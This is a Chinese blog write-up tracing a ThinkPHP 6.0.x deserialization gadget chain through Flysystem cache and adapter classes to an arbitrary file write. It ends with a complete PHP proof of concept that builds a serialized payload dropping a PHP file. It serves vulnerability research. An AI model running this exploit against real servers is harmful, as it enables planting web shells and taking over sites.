ThinkPHP 6.0.x反序列化(三)

又看到师傅挖出新的链,继续跟一下

反序列化POP之任意文件写入

通过反序列化POP链最终写入shell

分析

链的起点:League\Flysystem\Cached\Storage\AbstractCache::__destruct()

$this->autosave = false触发save方法

由于AbstractCache抽象类,需要找到继承它的类的save方法加以利用。使用find usages 找到相关子类

这里利用的是Adapter

如上图所示,我们可以控制$this->file作为传入的参数

$this->adapter为任意类,执行hasupdatewrite方法,write方法就疑似文件写入

$contentsgetForStorage()方法的返回值,跟进该方法

可控的变量$this->cache传入cleanContents()方法,继续跟进

cleanContents()中间代码只是数组合并无需理会,我们只需要传入$this->cache一个数组原样返回,然后通过json_encode方法得到json格式数据,其中内容就包含了我们要写入的一句话

那么接下来,我们只需要找到一个既包含has又包含write方法的类,并且has方法要返回false,才能执行到write方法

League\Flysystem\Adapter\Local类符合我们的要求,先看看has方法

$path参数即我们前面的$this->file,跟进applyPathPrefix()方法

$this->pathPrefix可控,然后ltrim函数去除$this->file左侧的/\,于是我们可以直接传入一个文件名,然后控制$this->pathPrefix为路径部分

最后has方法返回的是file_exists函数结果,我们只需要保证传入的文件名不存在即可,这很容易

然后就进入了write方法

$location即我们刚才分析的$this->file传入applyPathPrefix处理后的文件名,然后$contents即前面通过json_encode处理后带有一句话的json数据,到此链终点,我们即可成功写入文件

流程图

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 

namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ["somnus"=>"<?php phpinfo();?>"];
}
}

namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Cached\Storage\AbstractCache;
class Adapter extends AbstractCache
{
protected $file;
protected $adapter;

public function __construct($adapter="")
{
$this->file = "somnus.php";
$this->adapter = $adapter;
}
}
}

namespace League\Flysystem\Adapter{
class Local
{
protected $writeFlags = 0;
}
}

namespace{
$local = new League\Flysystem\Adapter\Local();
$cache = new League\Flysystem\Cached\Storage\Adapter($local);
echo urlencode(serialize($cache));
}

?>

实现效果

实际利用还是需要注意写入需可写的路径

参考

https://www.anquanke.com/post/id/194269

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/12/12/ThinkPHP%206.0.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96(%E4%B8%89)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog